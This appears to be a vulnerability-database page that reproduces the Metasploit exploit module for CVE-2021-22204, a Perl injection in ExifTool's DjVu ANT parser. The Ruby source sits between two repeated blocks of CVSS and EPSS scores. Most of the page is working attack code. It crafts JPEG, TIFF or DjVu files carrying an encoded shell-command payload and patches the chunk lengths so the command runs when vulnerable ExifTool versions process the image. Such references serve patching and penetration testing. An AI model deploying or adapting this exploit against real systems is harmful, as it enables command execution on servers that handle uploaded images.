7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.1 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.924 High
EPSS
Percentile
98.9%
This module exploits a Perl injection vulnerability in the DjVu ANT parsing code of ExifTool versions 7.44 through 12.23 inclusive. The injection is used to execute a shell command using Perl backticks. The DjVu image can be embedded in a wrapper image using the HasselbladExif EXIF field.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ExifTool DjVu ANT Perl injection',
'Description' => %q{
This module exploits a Perl injection vulnerability in the DjVu ANT
parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
injection is used to execute a shell command using Perl backticks.
The DjVu image can be embedded in a wrapper image using the
HasselbladExif EXIF field.
},
'Author' => [
'William Bowling', # Vulnerability discovery
'Justin Steven' # Metasploit module
],
'References' => [
%w[CVE 2021-22204],
%w[URL https://twitter.com/wcbowling/status/1385803927321415687],
%w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],
%w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]
],
'DisclosureDate' => '2021-05-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'DisableNops' => true,
'Space' => 2000,
'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \
},
'Targets' => [
['JPEG file', { template: 'msf.jpg' }],
['TIFF file', { template: 'msf.tif' }],
['DjVu file', { template: 'msf.djvu' }]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])
])
end
def exploit
p = payload.encoded
buf = djvu_template.sub('echo vulnerable > /dev/tty', p)
buf[8, 4] = [209 + p.length].pack('L>') # Fix up DJVM length
buf[174, 4] = [43 + p.length].pack('L>') # Fix up DJVI length
buf[186, 4] = [31 + p.length].pack('L>') # Fix up ANTa length
if target.name == 'JPEG file'
jpeg_buf = jpeg_template
jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = jpeg_buf
elsif target.name == 'TIFF file'
tif_buf = tif_template
tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = tif_buf
end
file_create(buf)
end
def djvu_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'
))
end
def jpeg_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'
))
end
def tif_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'
))
end
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.1 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.924 High
EPSS
Percentile
98.9%